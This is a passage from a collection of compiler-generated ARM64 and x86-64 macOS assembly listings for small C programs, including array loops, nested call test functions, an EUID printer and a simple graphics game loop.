add w8, w8, #1
str w8, [sp, #32]
b LBB0_3
LBB0_6: ; in Loop: Header=BB0_1 Depth=1
b LBB0_7
LBB0_7: ; in Loop: Header=BB0_1 Depth=1
ldr w8, [sp, #28]
add w8, w8, #1
str w8, [sp, #28]
b LBB0_1
LBB0_8:
ldr x10, [sp, #16] ; 8-byte Folded Reload
ldr w8, [sp, #36]
subs w8, w8, #1
mov w9, #4000
smaddl x8, w8, w9, x10
ldr w0, [x8, #4]
add sp, sp, #48
ret
.cfi_endproc
; -- End function
.comm _u,8000,2 ; @u
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _main ## -- Begin function main
.p2align 4, 0x90
_main: ## @main
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
movl $0, -4(%rbp)
movl $1000, -8(%rbp) ## imm = 0x3E8
movl $1000, -12(%rbp) ## imm = 0x3E8
movl $1, -20(%rbp)
LBB0_1: ## =>This Loop Header: Depth=1
## Child Loop BB0_3 Depth 2
movl -20(%rbp), %eax
movl -12(%rbp), %ecx
subl $1, %ecx
cmpl %ecx, %eax
jg LBB0_8
## %bb.2: ## in Loop: Header=BB0_1 Depth=1
movl $1, -16(%rbp)
LBB0_3: ## Parent Loop BB0_1 Depth=1
## => This Inner Loop Header: Depth=2
movl -16(%rbp), %eax
movl -8(%rbp), %ecx
subl $2, %ecx
cmpl %ecx, %eax
jg LBB0_6
## %bb.4: ## in Loop: Header=BB0_3 Depth=2
movl -20(%rbp), %eax
subl $1, %eax
movl $2, %ecx
cltd
idivl %ecx
movslq %edx, %rcx
movq _u@GOTPCREL(%rip), %rax
imulq $4000, %rcx, %rcx ## imm = 0xFA0
addq %rcx, %rax
movl -16(%rbp), %ecx
subl $1, %ecx
movslq %ecx, %rcx
movl (%rax,%rcx,4), %eax
movl %eax, -32(%rbp) ## 4-byte Spill
movl -20(%rbp), %eax
subl $1, %eax
movl $2, %ecx
cltd
idivl %ecx
movl -32(%rbp), %eax ## 4-byte Reload
movslq %edx, %rdx
movq _u@GOTPCREL(%rip), %rcx
imulq $4000, %rdx, %rdx ## imm = 0xFA0
addq %rdx, %rcx
movslq -16(%rbp), %rdx
addl (%rcx,%rdx,4), %eax
movl %eax, -28(%rbp) ## 4-byte Spill
movl -20(%rbp), %eax
subl $1, %eax
movl $2, %ecx
cltd
idivl %ecx
movl -28(%rbp), %eax ## 4-byte Reload
movslq %edx, %rdx
movq _u@GOTPCREL(%rip), %rcx
imulq $4000, %rdx, %rdx ## imm = 0xFA0
addq %rdx, %rcx
movl -16(%rbp), %edx
addl $1, %edx
movslq %edx, %rdx
addl (%rcx,%rdx,4), %eax
movl %eax, -24(%rbp) ## 4-byte Spill
movl -20(%rbp), %eax
movl $2, %ecx
cltd
idivl %ecx
movl %edx, %eax
movl -24(%rbp), %edx ## 4-byte Reload
movslq %eax, %rcx
movq _u@GOTPCREL(%rip), %rax
imulq $4000, %rcx, %rcx ## imm = 0xFA0
addq %rcx, %rax
movslq -16(%rbp), %rcx
movl %edx, (%rax,%rcx,4)
## %bb.5: ## in Loop: Header=BB0_3 Depth=2
movl -16(%rbp), %eax
addl $1, %eax
movl %eax, -16(%rbp)
jmp LBB0_3
LBB0_6: ## in Loop: Header=BB0_1 Depth=1
jmp LBB0_7
LBB0_7: ## in Loop: Header=BB0_1 Depth=1
movl -20(%rbp), %eax
addl $1, %eax
movl %eax, -20(%rbp)
jmp LBB0_1
LBB0_8:
movl -12(%rbp), %eax
subl $1, %eax
movslq %eax, %rcx
movq _u@GOTPCREL(%rip), %rax
imulq $4000, %rcx, %rcx ## imm = 0xFA0
addq %rcx, %rax
movl 4(%rax), %eax
popq %rbp
retq
.cfi_endproc
## -- End function
.comm _u,8000,4 ## @u
.subsections_via_symbols
| the_stack_data/144715.c |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _work ; -- Begin function work
.p2align 2
_work: ; @work
.cfi_startproc
; %bb.0:
sub sp, sp, #16
.cfi_def_cfa_offset 16
str w0, [sp, #12]
str w1, [sp, #8]
add sp, sp, #16
ret
.cfi_endproc
; -- End function
.globl _work1 ; -- Begin function work1
.p2align 2
_work1: ; @work1
.cfi_startproc
; %bb.0:
sub sp, sp, #32
.cfi_def_cfa_offset 32
stp x29, x30, [sp, #16] ; 16-byte Folded Spill
add x29, sp, #16
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
stur w0, [x29, #-4]
str w1, [sp, #8]
str wzr, [sp, #4]
b LBB1_1
LBB1_1: ; =>This Inner Loop Header: Depth=1
ldr w8, [sp, #4]
ldr w9, [sp, #8]
subs w8, w8, w9
cset w8, ge
tbnz w8, #0, LBB1_4
b LBB1_2
LBB1_2: ; in Loop: Header=BB1_1 Depth=1
ldur w0, [x29, #-4]
ldr w1, [sp, #4]
bl _work
b LBB1_3
LBB1_3: ; in Loop: Header=BB1_1 Depth=1
ldr w8, [sp, #4]
add w8, w8, #1
str w8, [sp, #4]
b LBB1_1
LBB1_4:
ldp x29, x30, [sp, #16] ; 16-byte Folded Reload
add sp, sp, #32
ret
.cfi_endproc
; -- End function
.globl _wrong2 ; -- Begin function wrong2
.p2align 2
_wrong2: ; @wrong2
.cfi_startproc
; %bb.0:
sub sp, sp, #32
.cfi_def_cfa_offset 32
stp x29, x30, [sp, #16] ; 16-byte Folded Spill
add x29, sp, #16
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
stur w0, [x29, #-4]
str wzr, [sp, #8]
b LBB2_1
LBB2_1: ; =>This Inner Loop Header: Depth=1
ldr w8, [sp, #8]
ldur w9, [x29, #-4]
subs w8, w8, w9
cset w8, ge
tbnz w8, #0, LBB2_4
b LBB2_2
LBB2_2: ; in Loop: Header=BB2_1 Depth=1
ldr w0, [sp, #8]
ldur w1, [x29, #-4]
bl _work1
b LBB2_3
LBB2_3: ; in Loop: Header=BB2_1 Depth=1
ldr w8, [sp, #8]
add w8, w8, #1
str w8, [sp, #8]
b LBB2_1
LBB2_4:
ldp x29, x30, [sp, #16] ; 16-byte Folded Reload
add sp, sp, #32
ret
.cfi_endproc
; -- End function
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _work ## -- Begin function work
.p2align 4, 0x90
_work: ## @work
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
movl %edi, -4(%rbp)
movl %esi, -8(%rbp)
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _work1 ## -- Begin function work1
.p2align 4, 0x90
_work1: ## @work1
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $16, %rsp
movl %edi, -4(%rbp)
movl %esi, -8(%rbp)
movl $0, -12(%rbp)
LBB1_1: ## =>This Inner Loop Header: Depth=1
movl -12(%rbp), %eax
cmpl -8(%rbp), %eax
jge LBB1_4
## %bb.2: ## in Loop: Header=BB1_1 Depth=1
movl -4(%rbp), %edi
movl -12(%rbp), %esi
callq _work
## %bb.3: ## in Loop: Header=BB1_1 Depth=1
movl -12(%rbp), %eax
addl $1, %eax
movl %eax, -12(%rbp)
jmp LBB1_1
LBB1_4:
addq $16, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _wrong2 ## -- Begin function wrong2
.p2align 4, 0x90
_wrong2: ## @wrong2
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $16, %rsp
movl %edi, -4(%rbp)
movl $0, -8(%rbp)
LBB2_1: ## =>This Inner Loop Header: Depth=1
movl -8(%rbp), %eax
cmpl -4(%rbp), %eax
jge LBB2_4
## %bb.2: ## in Loop: Header=BB2_1 Depth=1
movl -8(%rbp), %edi
movl -4(%rbp), %esi
callq _work1
## %bb.3: ## in Loop: Header=BB2_1 Depth=1
movl -8(%rbp), %eax
addl $1, %eax
movl %eax, -8(%rbp)
jmp LBB2_1
LBB2_4:
addq $16, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.subsections_via_symbols
| the_stack_data/916930.c |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _main ; -- Begin function main
.p2align 2
_main: ; @main
.cfi_startproc
; %bb.0:
sub sp, sp, #48
.cfi_def_cfa_offset 48
stp x29, x30, [sp, #32] ; 16-byte Folded Spill
add x29, sp, #32
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
mov w8, #0
str w8, [sp, #12] ; 4-byte Folded Spill
stur wzr, [x29, #-4]
stur w0, [x29, #-8]
str x1, [sp, #16]
bl _geteuid
mov x9, sp
; implicit-def: $x8
mov x8, x0
str x8, [x9]
adrp x0, l_.str@PAGE
add x0, x0, l_.str@PAGEOFF
bl _printf
ldr w0, [sp, #12] ; 4-byte Folded Reload
ldp x29, x30, [sp, #32] ; 16-byte Folded Reload
add sp, sp, #48
ret
.cfi_endproc
; -- End function
.section __TEXT,__cstring,cstring_literals
l_.str: ; @.str
.asciz "EUID=%d\n"
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _main ## -- Begin function main
.p2align 4, 0x90
_main: ## @main
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $16, %rsp
movl $0, -4(%rbp)
movl %edi, -8(%rbp)
movq %rsi, -16(%rbp)
callq _geteuid
movl %eax, %esi
leaq L_.str(%rip), %rdi
movb $0, %al
callq _printf
xorl %eax, %eax
addq $16, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.section __TEXT,__cstring,cstring_literals
L_.str: ## @.str
.asciz "EUID=%d\n"
.subsections_via_symbols
| the_stack_data/163053.c |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _main ; -- Begin function main
.p2align 2
_main: ; @main
.cfi_startproc
; %bb.0:
sub sp, sp, #112
.cfi_def_cfa_offset 112
stp x29, x30, [sp, #96] ; 16-byte Folded Spill
add x29, sp, #96
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
mov w0, #0
stur wzr, [x29, #-4]
mov w8, #12
str w8, [sp, #40] ; 4-byte Folded Spill
stur w8, [x29, #-8]
stur wzr, [x29, #-12]
stur wzr, [x29, #-16]
stur wzr, [x29, #-20]
stur wzr, [x29, #-24]
stur wzr, [x29, #-28]
stur wzr, [x29, #-32]
stur wzr, [x29, #-36]
str wzr, [sp, #48]
str wzr, [sp, #44]
adrp x1, l_.str@PAGE
add x1, x1, l_.str@PAGEOFF
bl _TextPrint
mov w0, #1
adrp x1, l_.str.1@PAGE
add x1, x1, l_.str.1@PAGEOFF
bl _TextPrint
mov w0, #2
adrp x1, l_.str.2@PAGE
add x1, x1, l_.str.2@PAGEOFF
bl _TextPrint
mov w0, #3
adrp x1, l_.str.3@PAGE
add x1, x1, l_.str.3@PAGEOFF
bl _TextPrint
mov w0, #5
adrp x1, l_.str.4@PAGE
add x1, x1, l_.str.4@PAGEOFF
bl _TextPrint
mov w0, #6
adrp x1, l_.str.5@PAGE
add x1, x1, l_.str.5@PAGEOFF
bl _TextPrint
mov w0, #7
adrp x1, l_.str.6@PAGE
add x1, x1, l_.str.6@PAGEOFF
bl _TextPrint
mov w0, #8
adrp x1, l_.str.7@PAGE
add x1, x1, l_.str.7@PAGEOFF
bl _TextPrint
mov w0, #9
adrp x1, l_.str.8@PAGE
add x1, x1, l_.str.8@PAGEOFF
bl _TextPrint
mov w0, #10
adrp x1, l_.str.9@PAGE
add x1, x1, l_.str.9@PAGEOFF
bl _TextPrint
mov w0, #11
adrp x1, l_.str.10@PAGE
add x1, x1, l_.str.10@PAGEOFF
bl _TextPrint
ldr w0, [sp, #40] ; 4-byte Folded Reload
adrp x1, l_.str.11@PAGE
add x1, x1, l_.str.11@PAGEOFF
bl _TextPrint
mov w0, #14
adrp x1, l_.str.12@PAGE
add x1, x1, l_.str.12@PAGEOFF
bl _TextPrint
mov w0, #15
adrp x1, l_.str.13@PAGE
add x1, x1, l_.str.13@PAGEOFF
bl _TextPrint
mov w0, #16
adrp x1, l_.str.14@PAGE
add x1, x1, l_.str.14@PAGEOFF
bl _TextPrint
mov w0, #17
adrp x1, l_.str.15@PAGE
add x1, x1, l_.str.15@PAGEOFF
bl _TextPrint
mov w0, #18
adrp x1, l_.str.16@PAGE
add x1, x1, l_.str.16@PAGEOFF
bl _TextPrint
mov w0, #19
adrp x1, l_.str.17@PAGE
add x1, x1, l_.str.17@PAGEOFF
bl _TextPrint
mov w0, #20
adrp x1, l_.str.18@PAGE
add x1, x1, l_.str.18@PAGEOFF
bl _TextPrint
mov w0, #4
mov w1, #50
bl _TimerInterval
b LBB0_1
LBB0_1: ; =>This Inner Loop Header: Depth=1
mov w0, #1
bl _Timer
stur w0, [x29, #-44]
ldur w3, [x29, #-12]
ldur w4, [x29, #-16]
mov x9, sp
mov w5, #0
str wzr, [x9]
mov x8, #52986
movk x8, #135, lsl #16
str x8, [x9, #8]
mov w0, #3
mov w1, #2
mov w2, #32
mov w7, #50
mov x6, x7
bl _VideoCtrLS
ldur w8, [x29, #-28]
mov w10, #10
udiv w9, w8, w10
mul w9, w9, w10
subs w8, w8, w9
subs w8, w8, #5
cset w8, hs
tbnz w8, #0, LBB0_3
b LBB0_2
LBB0_2: ; in Loop: Header=BB0_1 Depth=1
mov w0, #9
mov w1, #0
bl _Color_Random
b LBB0_6
LBB0_3: ; in Loop: Header=BB0_1 Depth=1
ldur w8, [x29, #-28]
mov w10, #10
udiv w9, w8, w10
mul w9, w9, w10
subs w8, w8, w9
subs w8, w8, #5
cset w8, lo
tbnz w8, #0, LBB0_5
b LBB0_4
LBB0_4: ; in Loop: Header=BB0_1 Depth=1
ldur w3, [x29, #-12]
ldur w4, [x29, #-16]
mov x9, sp
mov w5, #0
str wzr, [x9]
mov x8, #52986
movk x8, #135, lsl #16
str x8, [x9, #8]
mov w0, #3
mov w1, #2
mov w2, #32
mov w7, #50
mov x6, x7
bl _VideoCtrLS
b LBB0_5
LBB0_5: ; in Loop: Header=BB0_1 Depth=1
b LBB0_6
LBB0_6: ; in Loop: Header=BB0_1 Depth=1
ldur w8, [x29, #-32]
mov w10, #10
udiv w9, w8, w10
mul w9, w9, w10
subs w8, w8, w9
subs w8, w8, #5
cset w8, hs
tbnz w8, #0, LBB0_8
b LBB0_7
LBB0_7: ; in Loop: Header=BB0_1 Depth=1
mov x9, sp
mov w7, #0
str wzr, [x9]
mov x8, #26862
movk x8, #123, lsl #16
str x8, [x9, #8]
mov w0, #3
mov w1, #1
mov w2, #32
mov x3, x7
mov x4, x7
mov x5, x7
mov x6, x7
bl _VideoCtrBG
b LBB0_11
LBB0_8: ; in Loop: Header=BB0_1 Depth=1
ldur w8, [x29, #-32]
mov w10, #10
udiv w9, w8, w10
mul w9, w9, w10
subs w8, w8, w9
subs w8, w8, #5
cset w8, lo
tbnz w8, #0, LBB0_10
b LBB0_9
LBB0_9: ; in Loop: Header=BB0_1 Depth=1
mov x8, sp
mov w7, #0
str wzr, [x8]
str xzr, [x8, #8]
mov w0, #3
mov w1, #1
mov w2, #32
mov x3, x7
mov x4, x7
mov x5, x7
mov x6, x7
bl _VideoCtrBG
b LBB0_10
LBB0_10: ; in Loop: Header=BB0_1 Depth=1
b LBB0_11
LBB0_11: ; in Loop: Header=BB0_1 Depth=1
ldur w8, [x29, #-12]
ldur w9, [x29, #-20]
subs w8, w8, w9
cset w8, gt
tbnz w8, #0, LBB0_15
b LBB0_12
LBB0_12: ; in Loop: Header=BB0_1 Depth=1
ldur w8, [x29, #-20]
ldur w9, [x29, #-12]
add w9, w9, #50
subs w8, w8, w9
cset w8, ge
tbnz w8, #0, LBB0_15
b LBB0_13
LBB0_13: ; in Loop: Header=BB0_1 Depth=1
ldur w8, [x29, #-16]
ldur w9, [x29, #-24]
subs w8, w8, w9
cset w8, gt
tbnz w8, #0, LBB0_15
b LBB0_14
LBB0_14: ; in Loop: Header=BB0_1 Depth=1
ldur w8, [x29, #-24]
ldur w9, [x29, #-16]
add w9, w9, #50
subs w8, w8, w9
cset w8, lt
tbnz w8, #0, LBB0_19
b LBB0_15
LBB0_15: ; in Loop: Header=BB0_1 Depth=1
ldur w8, [x29, #-12]
ldur w9, [x29, #-20]
add w9, w9, #15
subs w8, w8, w9
cset w8, gt
tbnz w8, #0, LBB0_22
b LBB0_16
LBB0_16: ; in Loop: Header=BB0_1 Depth=1
ldur w8, [x29, #-20]
ldur w9, [x29, #-12]
add w9, w9, #50
subs w8, w8, w9
cset w8, ge
tbnz w8, #0, LBB0_22
b LBB0_17
LBB0_17: ; in Loop: Header=BB0_1 Depth=1
ldur w8, [x29, #-16]
ldur w9, [x29, #-24]
add w9, w9, #15
subs w8, w8, w9
cset w8, gt
tbnz w8, #0, LBB0_22
b LBB0_18
LBB0_18: ; in Loop: Header=BB0_1 Depth=1
ldur w8, [x29, #-24]
ldur w9, [x29, #-16]
add w9, w9, #50
subs w8, w8, w9
cset w8, ge
tbnz w8, #0, LBB0_22
b LBB0_19
LBB0_19: ; in Loop: Header=BB0_1 Depth=1
mov w0, #10
bl _CleanDot
mov w0, #1
str w0, [sp, #36] ; 4-byte Folded Spill
mov w1, #460
bl _random_number
mov x8, x0
ldr w0, [sp, #36] ; 4-byte Folded Reload
stur w8, [x29, #-20]
mov w1, #235
bl _random_number
stur w0, [x29, #-24]
ldr w8, [sp, #44]
subs w8, w8, #5
cset w8, hs
tbnz w8, #0, LBB0_21
b LBB0_20
LBB0_20: ; in Loop: Header=BB0_1 Depth=1
ldur w3, [x29, #-20]
ldur w4, [x29, #-24]
mov x9, sp
mov w8, #1
str w8, [x9]
mov x8, #55040
movk x8, #255, lsl #16
str x8, [x9, #8]
mov w1, #3
mov x0, x1
mov w2, #32
mov w5, #0
mov w7, #15
mov x6, x7
bl _VideoCtrSS
ldr w8, [sp, #44]
add w8, w8, #1
str w8, [sp, #44]
b LBB0_21
LBB0_21: ; in Loop: Header=BB0_1 Depth=1
b LBB0_22
LBB0_22: ; in Loop: Header=BB0_1 Depth=1
ldr w8, [sp, #44]
subs w8, w8, #0
cset w8, ne
tbnz w8, #0, LBB0_24
b LBB0_23
LBB0_23: ; in Loop: Header=BB0_1 Depth=1
mov x8, sp
mov w9, #2
str w9, [x8]
str xzr, [x8, #8]
mov w1, #3
mov x0, x1
mov w2, #32
mov w3, #320
mov w4, #170
mov w5, #0
mov w7, #10
mov x6, x7
bl _VideoCtrSS
b LBB0_36
LBB0_24: ; in Loop: Header=BB0_1 Depth=1
ldr w8, [sp, #44]
subs w8, w8, #1
cset w8, ne
tbnz w8, #0, LBB0_26
b LBB0_25
LBB0_25: ; in Loop: Header=BB0_1 Depth=1
mov x9, sp
mov w8, #2
str w8, [x9]
mov x8, #65280
str x8, [x9, #8]
mov w1, #3
mov x0, x1
mov w2, #32
mov w3, #320
mov w4, #170
mov w5, #0
mov w7, #10
mov x6, x7
bl _VideoCtrSS
b LBB0_35
LBB0_26: ; in Loop: Header=BB0_1 Depth=1
ldr w8, [sp, #44]
subs w8, w8, #2
cset w8, ne
tbnz w8, #0, LBB0_28
b LBB0_27
LBB0_27: ; in Loop: Header=BB0_1 Depth=1
mov x9, sp
mov w8, #2
str w8, [x9]
mov x8, #32592
movk x8, #255, lsl #16
str x8, [x9, #8]
mov w1, #3
mov x0, x1
mov w2, #32
mov w3, #320
mov w4, #170
mov w5, #0
mov w7, #10
mov x6, x7
bl _VideoCtrSS
b LBB0_34
LBB0_28: ; in Loop: Header=BB0_1 Depth=1
ldr w8, [sp, #44]
subs w8, w8, #3
cset w8, ne
tbnz w8, #0, LBB0_30
b LBB0_29
LBB0_29: ; in Loop: Header=BB0_1 Depth=1
mov x9, sp
mov w8, #2
str w8, [x9]
mov x8, #16711680
str x8, [x9, #8]
mov w1, #3
mov x0, x1
mov w2, #32
mov w3, #320
mov w4, #170
mov w5, #0
mov w7, #10
mov x6, x7
bl _VideoCtrSS
b LBB0_33
LBB0_30: ; in Loop: Header=BB0_1 Depth=1
ldr w8, [sp, #44]
subs w8, w8, #5
cset w8, ne
tbnz w8, #0, LBB0_32
b LBB0_31
LBB0_31: ; in Loop: Header=BB0_1 Depth=1
mov w0, #8
mov w1, #2
bl _ModeSelect
mov w0, #22
adrp x1, l_.str.19@PAGE
add x1, x1, l_.str.19@PAGEOFF
bl _TextPrint
mov w0, #23
adrp x1, l_.str.20@PAGE
add x1, x1, l_.str.20@PAGEOFF
bl _TextPrint
mov w0, #24
adrp x1, l_.str.21@PAGE
add x1, x1, l_.str.21@PAGEOFF
bl _TextPrint
b LBB0_32
LBB0_32: ; in Loop: Header=BB0_1 Depth=1
b LBB0_33
LBB0_33: ; in Loop: Header=BB0_1 Depth=1
b LBB0_34
LBB0_34: ; in Loop: Header=BB0_1 Depth=1
b LBB0_35
LBB0_35: ; in Loop: Header=BB0_1 Depth=1
b LBB0_36
LBB0_36: ; in Loop: Header=BB0_1 Depth=1
ldur w8, [x29, #-44]
ldr w9, [sp, #48]
subs w8, w8, w9
cset w8, eq
tbnz w8, #0, LBB0_93
b LBB0_37
LBB0_37: ; in Loop: Header=BB0_1 Depth=1
mov w0, #5
bl _Ctr_Status
stur w0, [x29, #-40]
ldur w8, [x29, #-40]
subs w8, w8, #0
cset w8, eq
tbnz w8, #0, LBB0_92
b LBB0_38
LBB0_38: ; in Loop: Header=BB0_1 Depth=1
mov w0, #6
bl _Mode_Status
sxtb w8, w0
subs w8, w8, #0
cset w8, ne
tbnz w8, #0, LBB0_64
b LBB0_39
LBB0_39: ; in Loop: Header=BB0_1 Depth=1
ldur w8, [x29, #-40]
ands w8, w8, #0x1
cset w8, eq
tbnz w8, #0, LBB0_43
b LBB0_40
LBB0_40: ; in Loop: Header=BB0_1 Depth=1
ldur w8, [x29, #-8]
ands w8, w8, #0x3f
cset w8, eq
tbnz w8, #0, LBB0_42
b LBB0_41
LBB0_41: ; in Loop: Header=BB0_1 Depth=1
b LBB0_42
LBB0_42: ; in Loop: Header=BB0_1 Depth=1
b LBB0_43
LBB0_43: ; in Loop: Header=BB0_1 Depth=1
ldur w8, [x29, #-40]
ands w8, w8, #0x2
cset w8, eq
tbnz w8, #0, LBB0_47
b LBB0_44
LBB0_44: ; in Loop: Header=BB0_1 Depth=1
ldur w8, [x29, #-8]
subs w8, w8, #64
cset w8, lt
tbnz w8, #0, LBB0_46
b LBB0_45
LBB0_45: ; in Loop: Header=BB0_1 Depth=1
b LBB0_46
LBB0_46: ; in Loop: Header=BB0_1 Depth=1
b LBB0_47
LBB0_47: ; in Loop: Header=BB0_1 Depth=1
ldur w8, [x29, #-40]
ands w8, w8, #0x4
cset w8, eq
tbnz w8, #0, LBB0_51
b LBB0_48
LBB0_48: ; in Loop: Header=BB0_1 Depth=1
ldur w8, [x29, #-8]
subs w8, w8, #2240
cset w8, ge
tbnz w8, #0, LBB0_50
b LBB0_49
LBB0_49: ; in Loop: Header=BB0_1 Depth=1
b LBB0_50
LBB0_50: ; in Loop: Header=BB0_1 Depth=1
b LBB0_51
LBB0_51: ; in Loop: Header=BB0_1 Depth=1
ldur w8, [x29, #-40]
ands w8, w8, #0x8
cset w8, eq
tbnz w8, #0, LBB0_55
b LBB0_52
LBB0_52: ; in Loop: Header=BB0_1 Depth=1
ldur w8, [x29, #-8]
and w8, w8, #0x3f
subs w8, w8, #63
cset w8, eq
tbnz w8, #0, LBB0_54
b LBB0_53
LBB0_53: ; in Loop: Header=BB0_1 Depth=1
b LBB0_54
LBB0_54: ; in Loop: Header=BB0_1 Depth=1
b LBB0_55
LBB0_55: ; in Loop: Header=BB0_1 Depth=1
ldur w8, [x29, #-40]
ands w8, w8, #0x10
cset w8, eq
tbnz w8, #0, LBB0_57
b LBB0_56
LBB0_56: ; in Loop: Header=BB0_1 Depth=1
b LBB0_57
LBB0_57: ; in Loop: Header=BB0_1 Depth=1
ldur w8, [x29, #-40]
ands w8, w8, #0x20
cset w8, eq
tbnz w8, #0, LBB0_59
b LBB0_58
LBB0_58: ; in Loop: Header=BB0_1 Depth=1
b LBB0_59
LBB0_59: ; in Loop: Header=BB0_1 Depth=1
ldur w8, [x29, #-40]
ands w8, w8, #0x40
cset w8, eq
tbnz w8, #0, LBB0_61
b LBB0_60
LBB0_60: ; in Loop: Header=BB0_1 Depth=1
b LBB0_61
LBB0_61: ; in Loop: Header=BB0_1 Depth=1
ldur w8, [x29, #-40]
ands w8, w8, #0x80
cset w8, eq
tbnz w8, #0, LBB0_63
b LBB0_62
LBB0_62: ; in Loop: Header=BB0_1 Depth=1
str wzr, [sp, #44]
mov w0, #22
adrp x1, l_.str.22@PAGE
add x1, x1, l_.str.22@PAGEOFF
str x1, [sp, #24] ; 8-byte Folded Spill
bl _TextPrint
ldr x1, [sp, #24] ; 8-byte Folded Reload
mov w0, #23
bl _TextPrint
ldr x1, [sp, #24] ; 8-byte Folded Reload
mov w0, #24
bl _TextPrint
b LBB0_63
LBB0_63: ; in Loop: Header=BB0_1 Depth=1
b LBB0_91
LBB0_64: ; in Loop: Header=BB0_1 Depth=1
mov w0, #6
bl _Mode_Status
sxtb w8, w0
subs w8, w8, #1
cset w8, ne
tbnz w8, #0, LBB0_90
b LBB0_65
LBB0_65: ; in Loop: Header=BB0_1 Depth=1
ldur w8, [x29, #-40]
ands w8, w8, #0x1
cset w8, eq
tbnz w8, #0, LBB0_69
b LBB0_66
LBB0_66: ; in Loop: Header=BB0_1 Depth=1
ldur w8, [x29, #-12]
subs w8, w8, #12
cset w8, le
tbnz w8, #0, LBB0_68
b LBB0_67
LBB0_67: ; in Loop: Header=BB0_1 Depth=1
ldur w8, [x29, #-12]
subs w8, w8, #2
stur w8, [x29, #-12]
b LBB0_68
LBB0_68: ; in Loop: Header=BB0_1 Depth=1
b LBB0_69
LBB0_69: ; in Loop: Header=BB0_1 Depth=1
ldur w8, [x29, #-40]
ands w8, w8, #0x2
cset w8, eq
tbnz w8, #0, LBB0_73
b LBB0_70
LBB0_70: ; in Loop: Header=BB0_1 Depth=1
ldur w8, [x29, #-16]
subs w8, w8, #12
cset w8, le
tbnz w8, #0, LBB0_72
b LBB0_71
LBB0_71: ; in Loop: Header=BB0_1 Depth=1
ldur w8, [x29, #-16]
subs w8, w8, #2
stur w8, [x29, #-16]
b LBB0_72
LBB0_72: ; in Loop: Header=BB0_1 Depth=1
b LBB0_73
LBB0_73: ; in Loop: Header=BB0_1 Depth=1
ldur w8, [x29, #-40]
ands w8, w8, #0x4
cset w8, eq
tbnz w8, #0, LBB0_77
b LBB0_74
LBB0_74: ; in Loop: Header=BB0_1 Depth=1
ldur w8, [x29, #-16]
subs w8, w8, #240
cset w8, ge
tbnz w8, #0, LBB0_76
b LBB0_75
LBB0_75: ; in Loop: Header=BB0_1 Depth=1
ldur w8, [x29, #-16]
add w8, w8, #2
stur w8, [x29, #-16]
b LBB0_76
LBB0_76: ; in Loop: Header=BB0_1 Depth=1
b LBB0_77
LBB0_77: ; in Loop: Header=BB0_1 Depth=1
ldur w8, [x29, #-40]
ands w8, w8, #0x8
cset w8, eq
tbnz w8, #0, LBB0_81
b LBB0_78
LBB0_78: ; in Loop: Header=BB0_1 Depth=1
ldur w8, [x29, #-12]
subs w8, w8, #480
cset w8, ge
tbnz w8, #0, LBB0_80
b LBB0_79
LBB0_79: ; in Loop: Header=BB0_1 Depth=1
ldur w8, [x29, #-12]
add w8, w8, #2
stur w8, [x29, #-12]
b LBB0_80
LBB0_80: ; in Loop: Header=BB0_1 Depth=1
b LBB0_81
LBB0_81: ; in Loop: Header=BB0_1 Depth=1
ldur w8, [x29, #-40]
ands w8, w8, #0x10
cset w8, eq
tbnz w8, #0, LBB0_83
b LBB0_82
LBB0_82: ; in Loop: Header=BB0_1 Depth=1
ldur w8, [x29, #-28]
add w8, w8, #1
stur w8, [x29, #-28]
b LBB0_83
LBB0_83: ; in Loop: Header=BB0_1 Depth=1
ldur w8, [x29, #-40]
ands w8, w8, #0x20
cset w8, eq
tbnz w8, #0, LBB0_85
b LBB0_84
LBB0_84: ; in Loop: Header=BB0_1 Depth=1
ldur w8, [x29, #-32]
add w8, w8, #1
stur w8, [x29, #-32]
b LBB0_85
LBB0_85: ; in Loop: Header=BB0_1 Depth=1
ldur w8, [x29, #-40]
ands w8, w8, #0x40
cset w8, eq
tbnz w8, #0, LBB0_87
b LBB0_86
LBB0_86: ; in Loop: Header=BB0_1 Depth=1
b LBB0_87
LBB0_87: ; in Loop: Header=BB0_1 Depth=1
ldur w8, [x29, #-40]
ands w8, w8, #0x80
cset w8, eq
tbnz w8, #0, LBB0_89
b LBB0_88
LBB0_88: ; in Loop: Header=BB0_1 Depth=1
str wzr, [sp, #44]
b LBB0_89
LBB0_89: ; in Loop: Header=BB0_1 Depth=1
b LBB0_90
LBB0_90: ; in Loop: Header=BB0_1 Depth=1
b LBB0_91
LBB0_91: ; in Loop: Header=BB0_1 Depth=1
b LBB0_92
LBB0_92: ; in Loop: Header=BB0_1 Depth=1
ldur w8, [x29, #-44]
str w8, [sp, #48]
b LBB0_93
